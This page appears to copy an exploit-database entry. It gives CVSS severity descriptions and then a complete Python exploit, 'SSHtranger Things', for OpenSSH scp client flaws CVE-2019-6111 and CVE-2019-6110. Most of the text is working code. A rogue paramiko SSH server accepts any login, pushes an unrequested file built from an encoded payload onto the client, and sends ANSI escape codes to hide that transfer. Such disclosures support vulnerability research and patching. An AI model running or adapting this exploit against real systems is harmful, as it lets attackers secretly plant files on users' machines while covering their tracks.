The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: SSHtranger Things SCP Client File Issue
# Exploit Title: SSHtranger Things
# Date: 2019-01-17
# Exploit Author: Mark E. Haase <[email protected]>
# Vendor Homepage: https://www.openssh.com/
# Software Link: [download link if available]
# Version: OpenSSH 7.6p1
# Tested on: Ubuntu 18.04.1 LTS
# CVE : CVE-2019-6111, CVE-2019-6110
'''
Title: SSHtranger Things
Author: Mark E. Haase <[email protected]>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1
We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.
The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.
$ python3 sshtranger_things.py
Download a file using a vulnerable client. The local path must be a dot:
$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00
The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.
$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things
The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading
logging.basicConfig(level=logging.INFO)
dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))
class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True
def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')
wait_ok()
logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()
# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('localhost', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)
if __name__ == '__main__':
main()
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